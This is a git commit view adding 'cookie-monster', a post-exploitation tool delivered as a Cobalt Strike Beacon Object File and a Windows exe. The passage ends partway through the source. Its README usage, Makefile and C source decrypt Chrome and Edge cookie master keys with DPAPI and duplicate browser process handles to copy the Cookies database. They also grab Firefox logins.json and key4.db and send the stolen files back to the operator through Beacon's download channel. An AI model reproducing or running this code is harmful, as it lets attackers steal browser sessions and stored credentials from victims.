initial cookie-monster commit

This commit is contained in:
andrew-gomez
2023-10-28 14:24:07 -07:00
parent d753b3fb31
commit af5b250ae8
8 changed files with 1814 additions and 1 deletions
+7
View File
@@ -0,0 +1,7 @@
all:
x86_64-w64-mingw32-gcc -c cookie-monster-bof.c -o cookie-monster-bof.o
x86_64-w64-mingw32-strip --strip-unneeded cookie-monster-bof.o
x86_64-w64-mingw32-gcc -c cookie-monster.c -o cookie-monster.exe -lshlwapi -lcrypt32
clean:
rm cookie-monster.o
rm cookie-monster.exe
+50 -1
View File
@@ -1,2 +1,51 @@
# cookie-monster
POC cookie stealing tool for edge, chrome and firefox
Steal browser cookies for edge, chrome and firefox through a BOF or exe!
Cookie-Monster will extract the WebKit master key, locate a browser process with a handle to the COOKIES file, copy the handle and then fileless download the COOKIES.
## BOF Usage
```
Usage: cookie-monster [ --chrome || --edge || --firefox || --chromepid <pid> || --edgepid <pid> ]
cookie-monster Example:
cookie-monster --chrome
cookie-monster --edge
cookie-moster --firefox
cookie-monster --chromepid 1337
cookie-monster --edgepid 4444
cookie-monster Options:
--chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to cookies and then copies the file to the CWD
--edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to cookies and then copies the file to the CWD
--firefox, looks for profiles.ini and locates the key4.db and logins.json file
--chromepid, if chrome PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and cookie file
--edgepid, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and cookie file
```
## EXE usage
```
Cookie Monster Example:
cookie-monster.exe --all
Cookie Monster Options:
-h, --help Show this help message and exit
--all Run chrome, edge, and firefox methods
--edge Extract edge keys and download cookies file to PWD
--chrome Extract chrome keys and download cookies file to PWD
--firefox Locate firefox key and Cookies, does not make a copy of either file
```
## Installation
Ensure Mingw-w64 and make is installed on the linux prior to compiling.
```
make
```
to compile exe on windows
```
gcc .\cookie-monster.c -o cookie-monster.exe -lshlwapi -lcrypt32
```
## References
This project could not have been done without the help of Mr-Un1k0d3r and his amazing seasonal videos!
Highly recommend checking out his lessons!!! <br>
Cookie Webkit Master Key Extractor:
https://github.com/Mr-Un1k0d3r/Cookie-Graber-BOF <br>
Fileless download:
https://github.com/fortra/nanodump
+167
View File
@@ -0,0 +1,167 @@
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Additional BOF resources are available here:
* - https://github.com/Cobalt-Strike/bof_template
*
* Cobalt Strike 4.x
* ChangeLog:
* 1/25/2022: updated for 4.5
* 7/18/2023: Added BeaconInformation API for 4.9
* 7/31/2023: Added Key/Value store APIs for 4.9
* BeaconAddValue, BeaconGetValue, and BeaconRemoveValue
* 8/31/2023: Added Data store APIs for 4.9
* BeaconDataStoreGetItem, BeaconDataStoreProtectItem,
* BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries
* 9/01/2023: Added BeaconGetCustomUserData API for 4.9
*/
/* data API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size);
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
/* format API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
/* Output Functions */
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_OUTPUT_UTF8 0x20
#define CALLBACK_ERROR 0x0d
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
/* Token Functions */
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void BeaconRevertToken();
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
/* Spawn+Inject Functions */
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
/* Utility Functions */
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
/* Beacon Information */
/*
* ptr - pointer to the base address of the allocated memory.
* size - the number of bytes allocated for the ptr.
*/
typedef struct {
char * ptr;
size_t size;
} HEAP_RECORD;
#define MASK_SIZE 13
/*
* sleep_mask_ptr - pointer to the sleep mask base address
* sleep_mask_text_size - the sleep mask text section size
* sleep_mask_total_size - the sleep mask total memory size
*
* beacon_ptr - pointer to beacon's base address
* The stage.obfuscate flag affects this value when using CS default loader.
* true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)
* false: beacon_ptr = allocated_buffer (A valid address)
* For a UDRL the beacon_ptr will be set to the 1st argument to DllMain
* when the 2nd argument is set to DLL_PROCESS_ATTACH.
* sections - list of memory sections beacon wants to mask. These are offset values
* from the beacon_ptr and the start value is aligned on 0x1000 boundary.
* A section is denoted by a pair indicating the start and end offset values.
* The list is terminated by the start and end offset values of 0 and 0.
* heap_records - list of memory addresses on the heap beacon wants to mask.
* The list is terminated by the HEAP_RECORD.ptr set to NULL.
* mask - the mask that beacon randomly generated to apply
*/
typedef struct {
char * sleep_mask_ptr;
DWORD sleep_mask_text_size;
DWORD sleep_mask_total_size;
char * beacon_ptr;
DWORD * sections;
HEAP_RECORD * heap_records;
char mask[MASK_SIZE];
} BEACON_INFO;
DECLSPEC_IMPORT void BeaconInformation(BEACON_INFO * info);
/* Key/Value store functions
* These functions are used to associate a key to a memory address and save
* that information into beacon. These memory addresses can then be
* retrieved in a subsequent execution of a BOF.
*
* key - the key will be converted to a hash which is used to locate the
* memory address.
*
* ptr - a memory address to save.
*
* Considerations:
* - The contents at the memory address is not masked by beacon.
* - The contents at the memory address is not released by beacon.
*
*/
DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr);
DECLSPEC_IMPORT void * BeaconGetValue(const char * key);
DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key);
/* Beacon Data Store functions
* These functions are used to access items in Beacon's Data Store.
* BeaconDataStoreGetItem returns NULL if the index does not exist.
*
* The contents are masked by default, and BOFs must unprotect the entry
* before accessing the data buffer. BOFs must also protect the entry
* after the data is not used anymore.
*
*/
#define DATA_STORE_TYPE_EMPTY 0
#define DATA_STORE_TYPE_GENERAL_FILE 1
typedef struct {
int type;
DWORD64 hash;
BOOL masked;
char* buffer;
size_t length;
} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT;
DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);
DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index);
DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index);
DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries();
/* Beacon User Data functions */
DECLSPEC_IMPORT char * BeaconGetCustomUserData();
+792
View File
@@ -0,0 +1,792 @@
// Code based on mr.un1k0d3r's seasonal videos and his cookie-grabber POC
// https://github.com/Mr-Un1k0d3r/Cookie-Graber-BOF/blob/main/cookie-graber.c
// fileless download based on nanodump methods
// https://github.com/fortra/nanodump
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include "cookie-monster-bof.h"
#include "beacon.h"
CHAR *GetCookieFileContent(CHAR *path);
CHAR *ExtractKey(CHAR *buffer);
VOID GetMasterKey(CHAR *key);
VOID GetChromeKey();
VOID GetFirefoxInfo();
VOID GetEdgeKey();
CHAR *GetFirefoxFile(CHAR *file, CHAR* profile);
BOOL GetChromeDatabase(DWORD PID);
VOID GetChromePID();
BOOL GetEdgeDatabase(DWORD PID);
VOID GetEdgePID();
WINBASEAPI DWORD WINAPI KERNEL32$GetLastError (VOID);
WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileA (LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
WINBASEAPI DWORD WINAPI KERNEL32$GetFileSize (HANDLE hFile, LPDWORD lpFileSizeHigh);
WINBASEAPI HGLOBAL WINAPI KERNEL32$GlobalAlloc (UINT uFlags, SIZE_T dwBytes);
WINBASEAPI BOOL WINAPI KERNEL32$ReadFile (HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);
WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);
WINBASEAPI char* __cdecl MSVCRT$strstr (char* _String, const char* _SubString);
WINBASEAPI size_t __cdecl MSVCRT$strlen (const char *s);
WINBASEAPI char* __cdecl MSVCRT$strncpy (char * __dst, const char * __src, size_t __n);
WINBASEAPI char* __cdecl MSVCRT$strncat (char * _Dest,const char * _Source, size_t __n);
DECLSPEC_IMPORT int WINAPI MSVCRT$strcmp(const char*, const char*);
WINBASEAPI BOOL WINAPI CRYPT32$CryptUnprotectData (DATA_BLOB *pDataIn, LPWSTR *ppszDataDescr, DATA_BLOB *pOptionalEntropy, PVOID pvReserved, CRYPTPROTECT_PROMPTSTRUCT *pPromptStruct, DWORD dwFlags, DATA_BLOB *pDataOut);
WINBASEAPI HGLOBAL WINAPI KERNEL32$GlobalFree (HGLOBAL hMem);
WINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD dwFlags,DWORD th32ProcessID);
WINBASEAPI BOOL WINAPI KERNEL32$Process32First(HANDLE hSnapshot,LPPROCESSENTRY32 lppe);
WINBASEAPI BOOL WINAPI KERNEL32$Process32Next(HANDLE hSnapshot,LPPROCESSENTRY32 lppe);
//WINBASEAPI DWORD WINAPI KERNEL32$GetCurrentDirectoryA (DWORD nBufferLength, LPSTR lpBuffer);
WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess (VOID);
WINBASEAPI BOOL WINAPI KERNEL32$DuplicateHandle (HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwOptions);
WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess (DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
//WINBASEAPI BOOL WINAPI KERNEL32$WriteFile (HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);
WINBASEAPI BOOL WINAPI CRYPT32$CryptStringToBinaryA (LPCSTR pszString, DWORD cchString, DWORD dwFlags, BYTE *pbBinary, DWORD *pcbBinary, DWORD *pdwSkip, DWORD *pdwFlags);
//WINBASEAPI BOOL WINAPI CRYPT32$CryptStringToBinaryW (LPCWSTR pszString, DWORD cchString, DWORD dwFlags, BYTE *pbBinary, DWORD *pcbBinary, DWORD *pdwSkip, DWORD *pdwFlags);
WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress (HMODULE hModule, LPCSTR lpProcName);
WINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryA (LPCSTR lpLibFileName);
WINBASEAPI DWORD WINAPI KERNEL32$SetFilePointer (HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod);
WINBASEAPI VOID WINAPI KERNEL32$SetLastError (DWORD dwErrCode);
DECLSPEC_IMPORT NTSTATUS WINAPI NTDLL$NtQuerySystemInformation(int SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);
WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
WINBASEAPI BOOL WINAPI KERNEL32$HeapFree (HANDLE hHeap, DWORD dwFlags, LPVOID lpMem);
WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap (VOID);
WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
#define IMPORT_RESOLVE FARPROC SHGetFolderPath = Resolver("shell32", "SHGetFolderPathA"); \
FARPROC PathAppend = Resolver("shlwapi", "PathAppendA"); \
FARPROC sprintf = Resolver("msvcrt", "sprintf"); \
FARPROC srand = Resolver("msvcrt", "srand");\
FARPROC time = Resolver("msvcrt", "time");\
FARPROC strnlen = Resolver("msvcrt", "strnlen");\
FARPROC rand = Resolver("msvcrt", "rand");
#define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)
#define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr)
#define DATA_FREE(d, l) \
if (d) { \
MSVCRT$memset(d, 0, l); \
intFree(d); \
d = NULL; \
}
#define CSIDL_LOCAL_APPDATA 0x001c
#define CSIDL_APPDATA 0x001a
//workaround for no slot for function (reduce number of Win32 APIs called)
FARPROC Resolver(CHAR *lib, CHAR *func) {
FARPROC ptr = KERNEL32$GetProcAddress(KERNEL32$LoadLibraryA(lib), func);
return ptr;
}
CHAR *GetCookieFileContent(CHAR *path) {
CHAR appdata[MAX_PATH];
HANDLE hFile = NULL;
IMPORT_RESOLVE;
//get appdata local path and append path
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, appdata);
PathAppend(appdata, path);
BeaconPrintf(CALLBACK_OUTPUT, "LOOKING FOR FILE: %s \n", appdata);
//get handle to appdata
hFile = KERNEL32$CreateFileA(appdata, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE) {
return NULL;
}
CHAR *buffer = NULL;
DWORD dwSize = 0;
DWORD dwRead = 0;
//read cookie file and return as buffer var
dwSize = KERNEL32$GetFileSize(hFile, NULL);
buffer = (CHAR*)KERNEL32$GlobalAlloc(GPTR, dwSize + 1);
KERNEL32$ReadFile(hFile, buffer, dwSize, &dwRead, NULL);
if(dwSize != dwRead) {
BeaconPrintf(CALLBACK_OUTPUT,"file size mismatch.\n");
}
KERNEL32$CloseHandle(hFile);
return buffer;
}
CHAR *ExtractKey(CHAR *buffer) {
//look for pattern with key
CHAR pattern[] = "encrypted_key\":\"";
CHAR *start = MSVCRT$strstr(buffer, pattern);
CHAR *end = NULL;
CHAR *key = NULL;
DWORD dwSize = 0;
if(start == NULL) {
return NULL;
}
//BeaconPrintf(CALLBACK_OUTPUT,"Encrpyted string start at 0x%p buffer start at 0x%p \n", start, buffer);
// calc length of key
start += MSVCRT$strlen(pattern);
buffer = start;
end = MSVCRT$strstr(buffer, "\"");
if(end == NULL) {
return NULL;
}
dwSize = end - start;
//BeaconPrintf(CALLBACK_OUTPUT,"Encrpyted data size is %d\n", dwSize);
//extract key from file
key = (CHAR*)KERNEL32$GlobalAlloc(GPTR, dwSize + 1);
MSVCRT$strncpy(key, buffer, dwSize);
return key;
}
VOID GetMasterKey(CHAR *key) {
BYTE *byteKey = NULL;
DWORD dwOut = 0;
IMPORT_RESOLVE;
//calculate size of key
CRYPT32$CryptStringToBinaryA(key, MSVCRT$strlen(key), CRYPT_STRING_BASE64, NULL, &dwOut, NULL, NULL);
//BeaconPrintf(CALLBACK_OUTPUT,"base64 size needed is %d.\n", dwOut);
//base64 decode key
byteKey = (CHAR*)KERNEL32$GlobalAlloc(GPTR, dwOut);
CRYPT32$CryptStringToBinaryA(key, MSVCRT$strlen(key), CRYPT_STRING_BASE64, byteKey, &dwOut, NULL, NULL);
byteKey += 5;
DATA_BLOB db;
DATA_BLOB final;
db.pbData = byteKey;
db.cbData = dwOut;
//decrypt key with dpapi for current user
BOOL result = CRYPT32$CryptUnprotectData(&db, NULL, NULL, NULL, NULL, 0, &final);
if(!result) {
BeaconPrintf(CALLBACK_ERROR,"Decrypting the key failed.\n");
return;
}
//BeaconPrintf(CALLBACK_OUTPUT, "Decrypted Key!");
// // return decrypted key
CHAR *output = (CHAR*)KERNEL32$GlobalAlloc(GPTR, (final.cbData * 4) + 1);
DWORD i = 0;
for(i = 0; i < final.cbData; i++) {
sprintf(output, "%s\\x%02x", output, final.pbData[i]);
}
BeaconPrintf(CALLBACK_OUTPUT,"Decrypt Key: %s \n", output );
// rewind to the start of the buffer
KERNEL32$GlobalFree(byteKey - 5);
KERNEL32$GlobalFree(output);
}
VOID GetChromeKey() {
//get chrome key
CHAR *data = GetCookieFileContent("\\Google\\Chrome\\User Data\\Local State");
CHAR *key = NULL;
if(data == NULL) {
BeaconPrintf(CALLBACK_ERROR,"Reading the file failed.\n");
return;
}
//BeaconPrintf(CALLBACK_OUTPUT, "Got Chrome Local State File");
key = ExtractKey(data);
KERNEL32$GlobalFree(data);
if(key == NULL) {
BeaconPrintf(CALLBACK_ERROR,"getting the key failed.\n");
return;
}
//BeaconPrintf(CALLBACK_OUTPUT, "Got Chrome Key ");
GetMasterKey(key);
return;
}
VOID GetEdgeKey() {
//get edge key
CHAR *data = GetCookieFileContent("\\Microsoft\\Edge\\User Data\\Local State");
CHAR *key = NULL;
if(data == NULL) {
BeaconPrintf(CALLBACK_ERROR,"Reading the file failed.\n");
return;
}
key = ExtractKey(data);
KERNEL32$GlobalFree(data);
if(key == NULL) {
BeaconPrintf(CALLBACK_ERROR,"getting the key failed.\n");
return;
}
GetMasterKey(key);
}
CHAR *GetFirefoxFile(CHAR *file, CHAR* profile){
CHAR *appdata = NULL;
CHAR *tempProfile = NULL;
IMPORT_RESOLVE;
// create temp var to hold profile
tempProfile = (CHAR*)KERNEL32$GlobalAlloc(GPTR, MSVCRT$strlen(profile) + 1);
MSVCRT$strncpy(tempProfile, profile, MSVCRT$strlen(profile)+1);
appdata = (CHAR*)KERNEL32$GlobalAlloc(GPTR, MAX_PATH + 1);
//get appdata local path and append path to file
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, appdata);
file = MSVCRT$strncat(tempProfile, file, MSVCRT$strlen(file)+1);
PathAppend(appdata, "\\Mozilla\\Firefox\\Profiles");
PathAppend(appdata, file);
KERNEL32$GlobalFree(tempProfile);
return appdata;
}
VOID GetFirefoxInfo() {
//get firefox key
CHAR appdata[MAX_PATH];
HANDLE hFile = NULL;
IMPORT_RESOLVE;
//get appdata local path and append path
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, appdata);
PathAppend(appdata, "\\Mozilla\\Firefox\\profiles.ini");
//BeaconPrintf(CALLBACK_OUTPUT,"Firefox profile info be at: %s \n", appdata );
//get handle to appdata
hFile = KERNEL32$CreateFileA(appdata, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE) {
BeaconPrintf(CALLBACK_ERROR,"File not found at: %s \n", appdata);
BeaconPrintf(CALLBACK_ERROR,"Firefox not found on host\n");
return;
}
CHAR *buffer = NULL;
DWORD dwSize = 0;
DWORD dwRead = 0;
//read profiles.ini file and return as buffer var
dwSize = KERNEL32$GetFileSize(hFile, NULL);
buffer = (CHAR*)KERNEL32$GlobalAlloc(GPTR, dwSize + 1);
KERNEL32$ReadFile(hFile, buffer, dwSize, &dwRead, NULL);
if(dwSize != dwRead) {
BeaconPrintf(CALLBACK_ERROR,"file size mismatch.\n");
}
KERNEL32$CloseHandle(hFile);
//look for pattern Default=Profiles/
CHAR pattern[] = "Default=Profiles/";
CHAR *start = MSVCRT$strstr(buffer, pattern);
CHAR *end = NULL;
if(start == NULL) {
return;
}
// calc length of profile
start += MSVCRT$strlen(pattern);
buffer = start;
end = MSVCRT$strstr(buffer, ".default-release");
if(end == NULL) {
return ;
}
dwSize = end - start;
//BeaconPrintf(CALLBACK_OUTPUT, "Profile size is %d\n", dwSize);
//extract profile from file
CHAR *profile = NULL;
profile = (CHAR*)KERNEL32$GlobalAlloc(GPTR, dwSize + 1);
MSVCRT$strncpy(profile, buffer, dwSize);
BeaconPrintf(CALLBACK_OUTPUT,"Firefox Default Profile: %s \n", profile );
// get path to logins.json
CHAR *logins = NULL;
logins = GetFirefoxFile(".default-release\\logins.json", profile);
//BeaconPrintf(CALLBACK_OUTPUT,"Logins: %s \n", logins );
//check if logins.json exists
hFile = KERNEL32$CreateFileA(logins, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE) {
BeaconPrintf(CALLBACK_ERROR,"File not found at: %s \n", logins);
return;
}
else{
BeaconPrintf(CALLBACK_OUTPUT,"Firefox Stored Credentials found at: %s \n", logins);
DWORD dwRead = 0;
DWORD dwFileSize = KERNEL32$GetFileSize(hFile, NULL);
CHAR *buffer = (CHAR*)KERNEL32$GlobalAlloc(GPTR, dwFileSize);
KERNEL32$ReadFile(hFile, buffer, dwFileSize, &dwRead, NULL);
download_file(logins, buffer, dwFileSize);
KERNEL32$GlobalFree(buffer);
KERNEL32$CloseHandle(hFile);
}
// get path to logins.json
CHAR *database = NULL;
database = GetFirefoxFile(".default-release\\key4.db", profile);
//check if key4.db exists
hFile = KERNEL32$CreateFileA(database, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE) {
BeaconPrintf(CALLBACK_ERROR,"File not found at: %s \n", database);
return;
}
else{
BeaconPrintf(CALLBACK_OUTPUT,"Firefox Database found at: %s \n", database);
DWORD dwRead = 0;
DWORD dwFileSize = KERNEL32$GetFileSize(hFile, NULL);
CHAR *buffer = (CHAR*)KERNEL32$GlobalAlloc(GPTR, dwFileSize);
KERNEL32$ReadFile(hFile, buffer, dwFileSize, &dwRead, NULL);
download_file(database, buffer, dwFileSize);
KERNEL32$GlobalFree(buffer);
KERNEL32$CloseHandle(hFile);
}
}
VOID GetChromePID() {
//get handle to all processes
HANDLE hSnap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32;
INT processCount = 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
//iterate through each handle to find chrome.exe
if(KERNEL32$Process32First(hSnap, &pe32)) {
do {
if(MSVCRT$strcmp(pe32.szExeFile, "chrome.exe") == 0)
{
//chrome was found, get cookies database
processCount++;
if ( !GetChromeDatabase(pe32.th32ProcessID) ) {
BeaconPrintf(CALLBACK_OUTPUT, "PID Does not have handle to cookie");
}
else
{
BeaconPrintf(CALLBACK_OUTPUT, "COPIED COOKIES FROM PID: %d!", pe32.th32ProcessID);
return;
}
}
} while(KERNEL32$Process32Next(hSnap, &pe32));
}
KERNEL32$CloseHandle(hSnap);
//check if process was running
if (processCount == 0) {
//check if file exists
BeaconPrintf(CALLBACK_OUTPUT,"chrome.exe not found on host\n");
CHAR *data = GetCookieFileContent("\\Google\\Chrome\\User Data\\Default\\Network\\Cookies");
if(data == NULL) {
BeaconPrintf(CALLBACK_ERROR,"Chrome COOKIES not found on host\n");
return;
}
//save data to file
// HANDLE hFile = KERNEL32$CreateFileA("GoogleCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
// DWORD dwRead = 0;
// KERNEL32$WriteFile(hFile, data, MSVCRT$strlen(data), &dwRead, NULL);
// KERNEL32$CloseHandle(hFile);
download_file("ChromeCookie.db",data, sizeof(data));
KERNEL32$GlobalFree(data);
// print current directory to screen
// CHAR cwd[MAX_PATH];
// KERNEL32$GetCurrentDirectoryA(MAX_PATH, cwd);
// BeaconPrintf(CALLBACK_OUTPUT,"Chrome COOKIES saved to %s \n", cwd);
}
}
BOOL GetChromeDatabase(DWORD PID) {
BeaconPrintf(CALLBACK_OUTPUT,"chrome PID found %d\n", PID);
SYSTEM_HANDLE_INFORMATION *shi = NULL;
DWORD dwNeeded = 0;
DWORD dwSize = 0xffffff / 2;
shi = (SYSTEM_HANDLE_INFORMATION *)KERNEL32$GlobalAlloc(GPTR, dwSize);
//utilize NtQueryStemInformation to list all handles on system
NTSTATUS status;
status = NTDLL$NtQuerySystemInformation(SystemHandleInformation, shi, dwSize, &dwNeeded);
//BeaconPrintf(CALLBACK_OUTPUT,"Handle Count %d\n", shi->NumberOfHandles);
DWORD i = 0;
BOOL firstHandle = TRUE;
//iterate through each handle and find our PID and a handle to a file
for(i = 0; i < shi->NumberOfHandles; i++) {
//check if handle to file
if(shi->Handles[i].ObjectTypeNumber == HANDLE_TYPE_FILE) {
//check if handle is to our PID
if(shi->Handles[i].ProcessId == PID) {
//BeaconPrintf(CALLBACK_OUTPUT,"PID %d Flags %08x GrantAccess %08x object %p handle is %p\n", PID, shi->Handles[i].Flags, shi->Handles[i].GrantedAccess, shi->Handles[i].Object, (HANDLE)shi->Handles[i].Handle);
if(shi->Handles[i].GrantedAccess != 0x001a019f || (shi->Handles[i].Flags != 0x2 && shi->Handles[i].GrantedAccess == 0x0012019f)) {
HANDLE hProc = KERNEL32$OpenProcess(PROCESS_DUP_HANDLE, FALSE, PID);
if(hProc == INVALID_HANDLE_VALUE) {
BeaconPrintf(CALLBACK_ERROR,"OpenProcess failed %d\n", KERNEL32$GetLastError());
KERNEL32$GlobalFree(shi);
return FALSE;
}
HANDLE hDuplicate = NULL;
if(!KERNEL32$DuplicateHandle(hProc, (HANDLE)shi->Handles[i].Handle, KERNEL32$GetCurrentProcess(), &hDuplicate, 0, TRUE, DUPLICATE_SAME_ACCESS)) {
BeaconPrintf(CALLBACK_ERROR,"DuplicateHandle failed %d\n", KERNEL32$GetLastError());
KERNEL32$GlobalFree(shi);
return FALSE;
}
FARPROC GetFinalPathNameByHandle = KERNEL32$GetProcAddress(KERNEL32$LoadLibraryA("kernel32.dll"), "GetFinalPathNameByHandleA");
CHAR filename[256];
MSVCRT$memset(filename,0, 256);
GetFinalPathNameByHandle(hDuplicate, filename, 256, FILE_NAME_NORMALIZED);
//BeaconPrintf(CALLBACK_OUTPUT,"%s\n", filename);
if(firstHandle) {
DWORD dwFilenameSize = MSVCRT$strlen(filename);
CHAR *newFilename = filename + MSVCRT$strlen(filename) - MSVCRT$strlen("Application");
firstHandle = FALSE;
if(MSVCRT$strcmp(newFilename, "Application") == 0) {
BeaconPrintf(CALLBACK_ERROR,"SKIPPING PID %d\n", PID);
KERNEL32$GlobalFree(shi);
return FALSE;
}
}
if(MSVCRT$strstr(filename, "Cookies") != NULL) {
//BeaconPrintf(CALLBACK_OUTPUT,"COOKIE WAS FOUND\n");
KERNEL32$SetFilePointer(hDuplicate, 0, 0, FILE_BEGIN);
DWORD dwFileSize = KERNEL32$GetFileSize(hDuplicate, NULL);
//BeaconPrintf(CALLBACK_OUTPUT,"file size is %d\n", dwFileSize);
DWORD dwRead = 0;
CHAR *buffer = (CHAR*)KERNEL32$GlobalAlloc(GPTR, dwFileSize);
KERNEL32$ReadFile(hDuplicate, buffer, dwFileSize, &dwRead, NULL);
// HANDLE hFile = KERNEL32$CreateFileA("ChromeCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
// KERNEL32$WriteFile(hFile, buffer, dwFileSize, &dwRead, NULL);
// KERNEL32$CloseHandle(hFile);
download_file("ChromeCookie.db",buffer, dwFileSize);
KERNEL32$GlobalFree(buffer);
return TRUE;
}
KERNEL32$CloseHandle(hDuplicate);
}
}
}
}
BeaconPrintf(CALLBACK_ERROR,"NO HANDLE TO COOKIE WAS FOUND \n");
return FALSE;
}
VOID GetEdgePID() {
//get handle to all processes
HANDLE hSnap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32;
INT processCount = 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
//iterate through each handle to find chrome.exe
if(KERNEL32$Process32First(hSnap, &pe32)) {
do {
//BeaconPrintf(CALLBACK_OUTPUT, "Process: %s\n", pe32.szExeFile);
if(MSVCRT$strcmp(pe32.szExeFile, "msedge.exe") == 0)
{
//edge was found, get cookies database
processCount++;
if ( !GetEdgeDatabase(pe32.th32ProcessID) ) {
